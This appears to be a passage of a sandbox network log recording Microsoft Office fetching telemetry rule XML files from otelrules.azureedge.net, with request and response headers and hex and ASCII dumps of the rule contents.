2024-11-18 23:02:27 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:27 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1604fc63-801e-0047-0dc4-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230227Z-r18f44ddb69vpnwdhC1DFWa89n00000000eg000000002z4a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49867	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:27 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:27 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:27 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230227Z-r18f44ddb695qphdhC1DFWpmx800000000f00000000029p3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:27 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49868	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:27 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:27 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:27 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b9a2426f-e01e-003c-6b05-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230227Z-r18f44ddb69xvwv5hC1DFWstpn00000000n000000000ap6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:27 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49869	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:27 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:27 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230227Z-1866b5c5fbbnjgfwhC1DFW3usc00000001ug000000000z77 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:27 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49870	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:27 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:27 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230227Z-1866b5c5fbbfhwqqhC1DFWc9sw00000000vg00000000qyzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:28 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49871	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:28 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:28 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:28 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230228Z-16547b76f7fz92z5hC1DFWmdx800000004ug000000003dsk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:28 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49872	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:28 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:28 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:28 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230228Z-16547b76f7fz92z5hC1DFWmdx800000004qg00000000nvmz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:28 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49873	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:28 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:28 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:28 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 779f6882-801e-0048-0aca-39f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230228Z-r18f44ddb69kljqthC1DFWc7dn00000000gg000000002kya x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:28 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49874	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:28 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:28 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:28 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230228Z-16547b76f7f2b5qzhC1DFWeag400000004r00000000075eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 23:02:28 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49875	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:28 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:28 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:28 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230228Z-r18f44ddb69vchkhhC1DFWc4bs00000000ng000000008au5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:28 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49877	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:29 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:29 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:29 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230229Z-16547b76f7fjx5nrhC1DFW4dsc00000003gg000000010mu1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:29 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49876	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:29 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:29 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:29 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 22a3ed20-101e-005a-80a7-36882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230229Z-1866b5c5fbb2ngs6hC1DFW402w00000004r000000000dwr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
